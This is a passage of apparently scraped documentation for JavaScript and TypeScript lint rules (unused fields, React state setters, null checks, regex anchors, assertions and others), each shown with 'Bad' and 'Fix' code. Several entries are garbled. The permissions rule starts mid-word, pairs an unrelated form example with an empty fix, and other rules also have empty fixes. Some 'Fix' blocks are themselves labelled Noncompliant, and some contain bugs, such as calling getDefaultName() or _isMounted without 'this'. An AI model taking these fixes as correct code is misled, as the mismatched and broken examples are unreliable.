      ```javascript Fix theme={null}
      class MyClass {
      #privateField1;
      #privateField2;  // Noncompliant: #privateField2 is unused
      #privateMethod(){} // Noncompliant: #privateMethod is unused
      publicMethod(){
          return this.#privateField1;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using intrusive permissions is security-sensitive">
    <div class="paragraph">
      <p>ermissions/#powerful-feature\[Powerful features] are browser features (geolocation, camera, microphone …​) that can be accessed with JavaScript API and may require a permission granted by the user. These features can have a high impact on privacy and user security thus they should only be used if they are really necessary to implement the critical parts of an application.</p>
    </div>

    <div class="paragraph">
      <p>This rule highlights intrusive permissions when requested with <a href="https://developer.mozilla.org/en-US/docs/Web/API/Permissions/query">the future standard (but currently experimental) web browser query API</a> and specific APIs related to the permission. It is highly recommended to customize this rule with the permissions considered as intrusive in the context of the web application.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <html>
      <head>
      <title>
          Retailer website example
      </title>
      </head>
      <body>
      Type a city, street or zip code where you want to retrieve the closest retail locations of our products:
      <form method=post>
          <input type=text value="New York"> <!-- Compliant -->
      </form>
      </body>
      </html>
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React state setter function should not be called with its matching state variable">
    <div class="paragraph">
      <p>React components have built-in state data. This data is used to store component property values. When state changes, the component is re-rendered. React provides the useState hook to manage the state. useState returns a state variable retaining the data and a state setter function to update its value.</p>
    </div>

    <div class="paragraph">
      <p>React will skip re-rendering the component and its children if the new value you provide is identical to the current state, as determined by an Object.is comparison. When the setter function is called with the state variable as a parameter, that comparison will always be true, and the component will never be re-rendered. This can happen by mistake when attempting to reset a default value or invert a boolean, among others.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when calling the setter function with the state variable provided by the same useState React hook.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { useState } from "react";

      function ShowLanguage() {
      const [language, setLanguage] = useState("fr-FR");
      return (
        <section>
          <h1>Your language is {language}!</h1>
          <button onClick={() => setLanguage(navigator.language)}>Detect language</button>
          <button onClick={() => setLanguage(language)}>Je préfère le français</button>{/* Non compliant: This button does nothing */}
        </section>
      );
      };
      ```

      ```javascript Fix theme={null}
      import { useState } from "react";

      function ShowLanguage() {
      const [language, setLanguage] = useState("fr-FR");
      return (
        <section>
          <h1>Your language is {language}!</h1>
          <button onClick={() => setLanguage(navigator.language)}>Detect language</button>
          <button onClick={() => setLanguage("fr-FR")}>Je préfère le français</button>
        </section>
      );
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Short-circuit logic should be used to prevent null pointer dereferences in conditionals">
    <div class="paragraph">
      <p>When either the equality operator in a test for <code>null or undefined, or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null/undefined, leading to a guaranteed TypeError</code>.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if (str == null && str.length == 0) {
      console.log("String is empty");
      }

      if (str == undefined && str.length == 0) {
      console.log("String is empty");
      }

      if (str != null || str.length > 0) {
      console.log("String is not empty");
      }

      if (str != undefined || str.length > 0) {
      console.log("String is not empty");
      }
      ```

      ```javascript Fix theme={null}
      if (str != null && str.length == 0) {
      console.log("String is empty");
      }

      if (str != undefined && str.length == 0) {
      console.log("String is empty");
      }

      if (str == null || str.length > 0) {
      console.log("String is not empty");
      }

      if (str == undefined || str.length > 0) {
      console.log("String is not empty");
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="arguments should not be accessed directly">
    <div class="paragraph">
      <p>The magic of JavaScript is that you can pass arguments to functions that don’t declare parameters, and on the other side, you can use those passed-in arguments inside the no-args \`function.</p>
    </div>

    <div class="paragraph">
      <p>But just because you can, that does’t mean you should. The expectation and use of arguments inside functions that don’t explicitly declare them is confusing to callers. No one should ever have to read and fully understand a function to be able to use it competently.</p>
    </div>

    <div class="paragraph">
      <p>If you don’t want to name arguments explicitly, use the ...\` syntax to specify that an a variable number of arguments is expected. Then inside the function, you’ll be dealing with a first-class array, rather than an array-like structure.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function concatenate() {
      let args = Array.prototype.slice.call(arguments);  // Noncompliant
      return args.join(', ');
      }

      function doSomething(isTrue) {
      var args = Array.prototype.slice.call(arguments, 1); // Noncompliant 
      if (!isTrue) {
      for (var arg of args) {
        ... 
      }
      }
      }
      ```

      ```javascript Fix theme={null}
      function concatenate(...args) {
      return args.join(', ');
      }

      function doSomething(isTrue, ...values) {
      if (!isTrue) {
      for (var value of values) {
        ... 
      }
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="eval and arguments should not be bound or assigned">
    <div class="paragraph">
      <p><code>eval is used to evaluate a string as JavaScript code, and arguments is used to access function arguments through indexed properties. As a consequence, eval and arguments</code> should not be bound or assigned, because doing so would overwrite the original definitions of those two reserved words.</p>
    </div>

    <div class="paragraph">
      <p>What’s more, using either of those two names to assign or bind will generate an error in JavaScript strict mode code.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      eval = 17; // Noncompliant
      arguments++; // Noncompliant
      ++eval; // Noncompliant
      var obj = { set p(arguments) { } }; // Noncompliant
      var eval; // Noncompliant
      try { } catch (arguments) { } // Noncompliant
      function x(eval) { } // Noncompliant
      function arguments() { } // Noncompliant
      var y = function eval() { }; // Noncompliant
      var f = new Function("arguments", "return 17;"); // Noncompliant

      function fun() {
      if (arguments.length == 0) { // Compliant
      // do something
      }
      }
      ```

      ```javascript Fix theme={null}
      result = 17;
      args++;
      ++result;
      var obj = { set p(arg) { } };
      var result;
      try { } catch (args) { }
      function x(arg) { }
      function args() { }
      var y = function fun() { };
      var f = new Function("args", "return 17;");

      function fun() {
      if (arguments.length == 0) {
      // do something
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="this should not be assigned to variables">
    <div class="paragraph">
      <p>Assigning \`this to a local variable is a way to reference parent context inside inner functions. In TypeScript when using arrow functions this happens automatically.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when this\` is assigned to a local variable.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function Foo() {
      let that = this;  // Noncompliant
      that.val = 0;

      setInterval(function() {
      that.val++;
      }, 1000);
      }
      ```

      ```javascript Fix theme={null}
      function Foo() {
      this.val = 0;

      setInterval(() => {
      this.val++;
      }, 1000);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Imports from the same module should be merged">
    <div class="paragraph">
      <p>Having the same module imported multiple times can affect code readability and maintainability. It makes hard to identify which modules are being used.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { B1 } from 'b';
      import { B2 } from 'b'; // Noncompliant: there is already an import from module 'b'.
      ```

      ```javascript Fix theme={null}
      import { B1, B2 } from 'b';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="if/else if chains and switch cases should not have the same condition">
    <div class="paragraph">
      <p>Both \`if-else chains and switch statements are used for conditional branching, but they differ in their syntax and the way they handle multiple conditions.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>In an if-else chain, each condition is checked in order, and only the block associated with the first true condition is executed. If no condition is true, the code inside the else block (if present) will be executed.</p>
        </li>

        <li>
          <p>In a switch statement, the expression is evaluated once, and its value is compared against each case. If a matching case is found, the corresponding block of code is executed. The break statement is used to exit the switch block after a match. If no case matches the expression, the code inside the default block (if present) will be executed.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Having the same condition in both if-else chains and switch\` cases can lead to unreachable code and a potential source of bugs. It defeats the purpose of conditional branching and can make the code harder to read and maintain.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (event === 1) {
      openWindow();
      } else if (event === 2) {
      closeWindow();
      } else if (event === 1) {  // Noncompliant: Duplicated condition 'event === 1'
      moveWindowToTheBackground();
      }

      switch (event) {
      case 1:
      openWindow();
      break;
      case 2:
      closeWindow();
      break;
      case 1: // Noncompliant: Duplicated case '1'
      moveWindowToTheBackground();
      break;
      }
      ```

      ```javascript Fix theme={null}
      if (event === 1) {
      openWindow();
      } else if (event === 2) {
      closeWindow();
      } else if (event === 3) {
      moveWindowToTheBackground();
      }

      switch (event) {
      case 1:
      openWindow();
      break;
      case 2:
      closeWindow();
      break;
      case 3:
      moveWindowToTheBackground();
      break;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Alternatives in regular expressions should be grouped when used with anchors">
    <div class="paragraph">
      <p>Regular expressions are used for pattern matching within strings. They can be defined upon special characters, meaning symbols or metacharacters with a reserved meaning that convey specific instructions to the regex engine. These characters are not treated as literals but have special functions in defining patterns, among which stand out anchors and disjunctions.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>An anchor allows you to match positions in the input string rather than matching specific characters. Anchors help you identify specific locations within the string where a pattern should start (\`^) or end (\$).</p>
        </li>

        <li>
          <p>A disjunction, also known as alternatives, represented by the vertical bar (|) allows you to specify multiple alternative patterns that the regex engine will attempt to match in the input string.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Mixing anchors with alternatives in regular expressions can lead to confusion due to their precedence rules. Alternatives (|) have a lower precedence than anchors (^ and \$). As a result, if you don’t use non-capturing groups (?:...)\` to group the alternatives properly, the anchors might apply to the ends only rather than the entire disjunction, which could not be the initial intent.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const regex = /^a|b|c$/; // Noncompliant: '^' applies to 'a' and '$' applies to 'c'
      ```

      ```javascript Fix theme={null}
      const regex = /^(?:a|b|c)$/;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="void should not be used">
    <div class="paragraph">
      <p>The void operator evaluates its argument and always returns undefined. void allows using any expression where an undefined is expected. However, using void makes code more difficult to understand, as the intent is often unclear.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (parameter === void 42) { // Noncompliant
      // ...
      }
      doSomethingElse(void doSomething()); // Noncompliant
      ```

      ```javascript Fix theme={null}
      if (parameter === undefined) {
      // ...
      }
      doSomething();
      doSomethingElse();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Assertions should be complete">
    <div class="paragraph">
      <p>Assertions are statements that check whether certain conditions are true. They are used to validate that the actual results of a code snippet match the expected outcomes. By using assertions, developers can ensure that their code behaves as intended and identify potential bugs or issues early in the development process.</p>
    </div>

    <div class="paragraph">
      <p>An incomplete assertion refers to a situation where an assertion is written but lacks some necessary components or conditions, making it insufficient to fully validate the expected behavior of the code being tested. Writing incomplete assertions can lead to false positives or false negatives in your test suite, making it less reliable.</p>
    </div>

    <div class="paragraph">
      <p>This rule checks for incomplete assertions with Chai.js in the following cases:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When \`assert.fail, expect.fail or should.fail are present but not called.</p>
        </li>

        <li>
          <p>When an expect(...) or should assertion is not followed by an assertion method, such as equal.</p>
        </li>

        <li>
          <p>When an expect or should assertion ends with a <a href="https://www.chaijs.com/api/bdd/#method_language-chains">chainable getters</a>, such as .that, or a modifier, such as .deep.</p>
        </li>

        <li>
          <p>When an expect or should assertion function, such as .throw\`, is not called.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In such cases, what is intended to be an assertion doesn’t actually assert anything.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const assert = require('chai').assert;
      const expect = require('chai').expect;

      describe("incomplete assertions", function() {
      const value = 42;

      it("uses chai 'assert'", function() {
          assert.fail; // Noncompliant: Missing the call to 'fail'
      });

      it("uses chai 'expect'", function() {
          expect(1 == 1); // Noncompliant: Should chain with 'to.equal'
          expect(value.toString).to.throw; // Noncompliant: Missing the type of the exception
      });
      });
      ```

      ```javascript Fix theme={null}
      const assert = require('chai').assert;
      const expect = require('chai').expect;

      describe("complete assertions", function() {
      const value = 42;

      it("uses chai 'assert'", function() {
          assert.fail();
      });

      it("uses chai 'expect'", function() {
          expect(1).to.equal(1);
          expect(value.toString).to.throw(TypeError);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Console logging should not be used">
    <div class="paragraph">
      <p>Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      console.log(password_entered); // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="switch statements should have at least 3 case clauses">
    <div class="paragraph">
      <p>A \`switch statement is a control flow statement that allows you to execute different blocks of code based on the value of an expression. It provides a more concise way to handle multiple conditions compared to using multiple if-else statements.</p>
    </div>

    <div class="paragraph">
      <p>If you only have a single condition to check, using an if statement is simpler and more concise. switch statements are designed for handling multiple cases, so using them for a single condition can be overkill and less readable.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when a switch statement has only one case clause and possibly a default\` one.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (condition) { // Noncompliant: The switch has only one case and a default
      case 0:
      doSomething();
      break;
      default:
      doSomethingElse();
      break;
      }
      ```

      ```javascript Fix theme={null}
      if (condition === 0) {
      doSomething();
      } else {
      doSomethingElse();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should be declared explicitly">
    <div class="paragraph">
      <p>Variable declaration is the process of creating a new variable and specifying its name. JavaScript provides three ways to declare variables: using the var, let, and const keywords.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The var keyword is used to declare function-scoped or global-scoped variables, i.e. they are accessible throughout the function or the entire program, respectively.</p>
        </li>

        <li>
          <p>The let keyword is used to declare block-scoped variables, that is, variables accessible only within the nearest curly braces block where it is defined.</p>
        </li>

        <li>
          <p>The const keyword is used to declare variables that are constant, meaning their values cannot be reassigned.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Explicitly declaring variables improves code readability and maintainability. It makes it clear to other developers that you are creating a new variable and sets expectations about its scope. It also helps catch typos and avoid potential issues caused by accidentally reusing variable names.</p>
    </div>

    <div class="paragraph">
      <p>If you assign a value to a variable without declaring it with var, let, or const, JavaScript treats it as an implicit global variable. Implicit globals can lead to unintended consequences and make it difficult to track and manage variables. They can cause naming conflicts, make code harder to understand, and introduce bugs that are hard to trace.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function f() {
      i = 1; // Noncompliant: i is global

      for (j = 0; j < array.length; j++) { // Noncompliant: j is global too
      // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      function f() {
      const i = 1;

      for (let j = 0; j < array.length; j++) { 
      // ...
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused methods of React components should be removed">
    <div class="paragraph">
      <p>Methods that are never executed are dead code and should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.</p>
    </div>

    <div class="paragraph">
      <p>When using React class components, all non-React lifecycle methods should be called within the scope of the component. If a method is only called from outside the class, consider using props to interact with the component and re-render if needed, as React encourages data-driven components.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Profile extends React.Component {
      render(props) {
      return <h1>{ props.name }</h1>;
      }

      getDefaultName() { // Noncompliant: this method is never used and is a dead code
      return 'John Smith';
      }
      }
      ```

      ```javascript Fix theme={null}
      class Profile extends React.Component {
      render(props) {
      return <h1>{ props.name || getDefaultName() }</h1>;
      }

      getDefaultName() {
      return 'John Smith';
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="this and super should not be used in constructors before super() is called">
    <div class="paragraph">
      <p>In the constructor of a derived class, accessing <code>this or super before super() is called raises a reference error. super()</code> should always be called first.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      class Bar {
      }

      class Foo extends Bar {
      constructor() {
          this.val = 0;   // Noncompliant
          super();
      }
      }

      class Foobar extends Foo {
      constructor() {
          super.val = 1;   // Noncompliant
          super();
      }
      }
      ```

      ```javascript Fix theme={null}
      class Bar {
      }

      class Foo extends Bar {
      constructor() {
          super();
          this.val = 0;
      }
      }

      class Foobar extends Foo {
      constructor() {
          super();
          super.val = 1;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="isMounted() should not be used in ReactJS components">
    <div class="paragraph">
      <p>\`isMounted() is generally used before calling setState to avoid changing the state on an already unmounted component. A user should never be able to do an action on an unmount component unless the component is having a bug in its unmount phase.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue on each use of isMounted().</p>
    </div>

    <div class="paragraph">
      <p>isMounted() is not longer available in ES6. Use of isMounted()\` must be avoided to ease the upgrade to ES6.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if (this.isMounted()) { // Noncompliant
      this.setState({...});
      }
      ```

      ```javascript Fix theme={null}
      class MyComponent extends React.Component {

      _isMounted = false;

      componentDidMount() {
      _isMounted = true;
      ...
      if (_isMounted) {
         this.setState({...});
       }
      }
      render() {
      ...
      }
      componentWillUnmount() {
      _isMounted = false;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="JSX special characters should be escaped">
    <div class="paragraph">
      <p>If JSX special characters (>, }) appear unescaped in the element body, this may be either because you simply forgot to escape them or because there is a problem with the JSX tag or expression (for example, misplaced or duplicate closing > or } brackets).</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <MyComponent
      name="abc"
      foo="bar"> 
      x="y"> {/* Noncompliant: closing > should only be on this line */}
      Body Text
      </MyComponent>
      ```

      ```javascript Fix theme={null}
      <MyComponent
      name="abc"
      foo="bar" 
      x="y">
      Body Text
      </MyComponent>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Re-exports should be explicit">
    <div class="paragraph">
      <p>Re-exporting is a feature that allows a file to import a component (object, function or primitive) from a module and add it to the exported components of the file’s module. However, as the language allows a file to export a component without explicitly importing it, a reader may mistake a re-export with a simple export.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      export { foo } from 'someModule';
      ```

      ```javascript Fix theme={null}
      import { foo } from 'someModule';
      export { foo };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="await should only be used with promises">
    <div class="paragraph">
      <p>Promises are objects that represent the eventual completion or failure of an asynchronous operation. They provide a way to handle asynchronous operations in a more organized and manageable manner. To use await, you need to ensure that you are calling a function or an expression that returns a promise.</p>
    </div>

    <div class="paragraph">
      <p>The reason await should only be used on a promise is that it expects the operand to be a promise object. When you use await, it waits for the promise to be resolved or rejected and then returns the resolved value or throws the rejection reason, respectively. If the operand of await is not a promise, awaiting it is redundant and might not have been the developer’s intent.</p>
    </div>

    <div class="paragraph">
      <p>If you try to use await on a non-promise value, such as a regular object or a primitive type, it will not pause the execution of the function because there is no asynchronous behavior involved. Instead, await will convert the value to a resolved promise, and waits for it.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const x = 42;
      await x; // Noncompliant: x is a number, not a promise
      ```

      ```javascript Fix theme={null}
      const x = Promise.resolve(42);
      await x;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="ReactJS components should not used duplicated props">
    <div class="paragraph">
      <p>When a given "props" is used more than once in a component, there is great chance it’s a mistake and so the behavior of the application won’t be the one expected.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      <Hello firstname="John" 
             lastname="Doe" />
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="All code should be reachable">
    <div class="paragraph">
      <p>Unreachable code is the code whose statements cannot be executed under any circumstances. Jump statements, like <code>return, break, continue, and throw</code>,  alter the normal flow of control within a program, making it possible to skip certain parts of the code, terminate loops prematurely, or exit from functions. So any statements that come after a jump are effectively unreachable.</p>
    </div>

    <div class="paragraph">
      <p>Unreachable statements can be a sign of a logical error or oversight in the program’s design, leading to unexpected behavior at runtime.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function func(a) {
      let i = 10;
      return i + a; 
      i++; // Noncompliant: this is never executed
      }
      ```

      ```javascript Fix theme={null}
      function func(a) {
      let i = 10;
      return i + a;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Universal selectors should not be used">
    <div class="paragraph">
      <p>Element selections that could be matched anywhere in the document can be very slow. That’s why use of the universal selector, <code>\*</code>, should be limited; it explicitly specifies that the match could be anywhere.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      $( ".buttons > *" );  // Noncompliant; extremely expensive
      ```

      ```javascript Fix theme={null}
      $( ".buttons" ).children(); // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Union types should not have too many elements">
    <div class="paragraph">
      <p>Union types represent a value that can be one of the several types. When a union type is used for a function parameter and it is accepting too many types, it may indicate the function is having too many responsibilities. Sometimes it’s worth creating a type alias for this union type. In all cases, the code should be reviewed and refactored to make it more maintainable.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let x: MyType1 | MyType2 | MyType3 | MyType4; // Noncompliant

      function foo(p1: string, p2: MyType1 | MyType2 | MyType3 | MyType4) { // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      type MyUnionType = MyType1 | MyType2 | MyType3 | MyType4; // Compliant, "type" statements are ignored
      let x: MyUnionType;

      function foo(value: string, padding: MyUnionType) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="An open curly brace should be located at the end of a line">
    <div class="paragraph">
      <p>Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the brace-style is not respecting the convention setup in parameter:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://en.wikipedia.org/wiki/Indentation_style#K&R_style">1tbs</a> (default)</p>
        </li>

        <li>
          <p><a href="https://en.wikipedia.org/wiki/Indentation_style#Allman_style">allman</a></p>
        </li>

        <li>
          <p><a href="https://en.wikipedia.org/wiki/Indentation_style#Variant:_Stroustrup">stroustrup</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if (condition)
      {                                                      //Noncompliant
      doSomething();
      }                                                      //Noncompliant
      else {
      doSomethingElse();
      }
      ```

      ```javascript Fix theme={null}
      if (condition) {                                   //Compliant
      doSomething();
      } else {                                           //Compliant
      doSomethingElse();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="[type=...] should be used to select elements by type">
    <div class="paragraph">
      <p>While \`:\<element\_type> and \[type="\<element\_type>"] can both be used in jQuery to select elements by their type, \[type="\<element\_type>"] is far faster because it can take advantage of the native DOM querySelectorAll() method in modern browsers.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when following selectors are used:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>:checkbox</p>
        </li>

        <li>
          <p>:file</p>
        </li>

        <li>
          <p>:image</p>
        </li>

        <li>
          <p>:password</p>
        </li>

        <li>
          <p>:radio</p>
        </li>

        <li>
          <p>:reset</p>
        </li>

        <li>
          <p>:text\`</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var input = $( "form input:radio" ); // Noncompliant
      ```

      ```javascript Fix theme={null}
      var input = $( "form input[type=radio]" ); // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Arrow functions should not be used ambiguously">
    <div class="paragraph">
      <p>Arrow functions <code>=> use a syntax similar to certain comparison operators (\<=, >=</code>). This can create confusion when used in certain contexts.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let foo = (x) => x ? "Africa" : "Asia";   // Noncompliant
      ```

      ```javascript Fix theme={null}
      let foo = (x) => { return x ? "Africa" : "Asia"; };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Labels should not be used">
    <div class="paragraph">
      <p>In JavaScript, labels are identifiers that allow you to name blocks of code, such as loops and conditional statements. They are used in conjunction with statements like break and continue to control the flow of execution within nested loops and conditionals.</p>
    </div>

    <div class="paragraph">
      <p>It’s worth noting that labels are not widely used in modern JavaScript programming because they can lead to complex and hard-to-maintain code. In most cases, there are better alternatives to achieve the desired control flow without resorting to labels.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      myLabel: {
      let x = doSomething();
      if (x > 0) {
      break myLabel;
      }
      doSomethingElse();
      }
      ```

      ```javascript Fix theme={null}
      let x = doSomething();
      if (x <= 0) {
      doSomethingElse();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Collection size and array length comparisons should make sense">
    <div class="paragraph">
      <p>The size of a collection and the length of an array are always greater than or equal to zero. Testing it doesn’t make sense, since the result is always <code>true</code>.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (someSet.size >= 0) {...} // Noncompliant always true

      const result = someArray.length >= 0;  // Noncompliant always true
      ```

      ```javascript Fix theme={null}
      if (someMap.size < 0) {...} // Noncompliant always false
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Object methods should not be assigned">
    <div class="paragraph">
      <p>When an object method is assigned to a variable, it is most likely a mistake: the parentheses have been left off the method invocation. When this is actually done on purpose, it will llikely yield unpredictable results since the method will have been designed to work in a different scope (the scope of the object) than it will execute in (the global scope).</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var person = new Person("John", "Doe");
      var age = person.getAge;  // Noncompliant; will likely return NaN
      ```

      ```javascript Fix theme={null}
      var person = new Person("John", "Doe");
      var age = person.getAge();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Initial values of parameters, caught exceptions, and loop variables should not be ignored">
    <div class="paragraph">
      <p>Ignoring function parameters or overwriting them with a new value without reading them can lead to confusion and errors in the code. Developers won’t be able to tell whether the original parameter or some temporary variable is being accessed without going through the whole function. It may indicate that the function is not properly designed or that there is a mistake in the code.</p>
    </div>

    <div class="paragraph">
      <p>Moreover, some developers might also expect assignments of function parameters to be visible to callers, which is not the case. Arguments are always passed by value and never passed by reference. If a function reassigns a parameter, the value won’t change outside the function. It is not possible to simulate an assignment on that variable in the caller’s scope. However, objects are passed by value to their reference (<a href="https://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing">passed by sharing</a>), which means if the object’s properties are mutated, the change will impact the outside of the function.</p>
    </div>

    <div class="paragraph">
      <p>The same logic applies to caught exceptions and variable declarations inside <code>for...in and for...of</code> statements: their initial values should not be ignored.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function myFunction(name, strings) {
      name = foo; // Noncompliant: initial value of 'name' is ignored

      for (let str of strings) {
      str = "";  // Noncompliant: initial value of 'str' is ignored
      }
      }
      ```

      ```javascript Fix theme={null}
      function myFunction(name, strings) {
      const nameCopy = name;
      name = foo;

      for (let str of strings) {
      const strCopy = str;
      str = "";
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The return value of useState should be destructured and named symmetrically">
    <div class="paragraph">
      <p>In React, useState is a hook that allows functional components to manage and update state in a manner similar to class components. When you use the useState hook, it returns an array with two values: the current state value and a function to update that state value.</p>
    </div>

    <div class="paragraph">
      <p>Destructuring these values and naming them symmetrically (i.e., using consistent variable names for both the current state and the update function) is a recommended best practice:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When you destructure and name the values symmetrically, it makes your code more readable and self-explanatory. Other developers can quickly understand the purpose of each variable without needing to refer back to the useState function call.</p>
        </li>

        <li>
          <p>Following a naming convention where the state variable and its corresponding update function have similar names is a common practice in the React community. It helps maintain consistency and makes it easier for others to understand your code.</p>
        </li>

        <li>
          <p>If you don’t name the variables symmetrically, it can lead to confusion, especially in larger components or when multiple state variables are involved. You might accidentally use the wrong variable when updating the state, which can result in bugs that are hard to track down.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { useState } from 'react';
      function MyComponent() {
      const [count, update] = useState(0); // Noncompliant
      return <div onClick={() => update(count + 1)}>{count}</div>
      }
      ```

      ```javascript Fix theme={null}
      import { useState } from 'react';
      function MyComponent() {
      const [count, setCount] = useState(0);
      return <div onClick={() => setCount(count + 1)}>{count}</div>
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Type assertions should use as">
    <div class="paragraph">
      <p>Type assertion can be done in two ways: with <code>as MyType or with \<MyType>. But since there is an ambiguity in the latter when using JSX and there is no ambiguity in the former, as</code> is preferred.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var foo = <any>"foo";  // Noncompliant
      ```

      ```javascript Fix theme={null}
      var foo = "foo" as any;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Literals should not be used as functions">
    <div class="paragraph">
      <p>Calling a literal throws a TypeError, and is likely the result of an unintentional error in the code.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when an attempt is made to use a literal as a function.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      true(); // Noncompliant, literal should not be used as function
      ```

      ```javascript Fix theme={null}
      true``; // Noncompliant, literal should not be used as tag function
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Destructuring patterns should not be empty">
    <div class="paragraph">
      <p>Destructuring is a convenient way of extracting multiple values from data stored in (possibly nested) objects and arrays. It can make code more concise and expressive by directly extracting values or properties needed from arrays or objects. However, it is possible to define an empty pattern that has no effect, where no variables are bound to the destructured values.</p>
    </div>

    <CodeGroup>
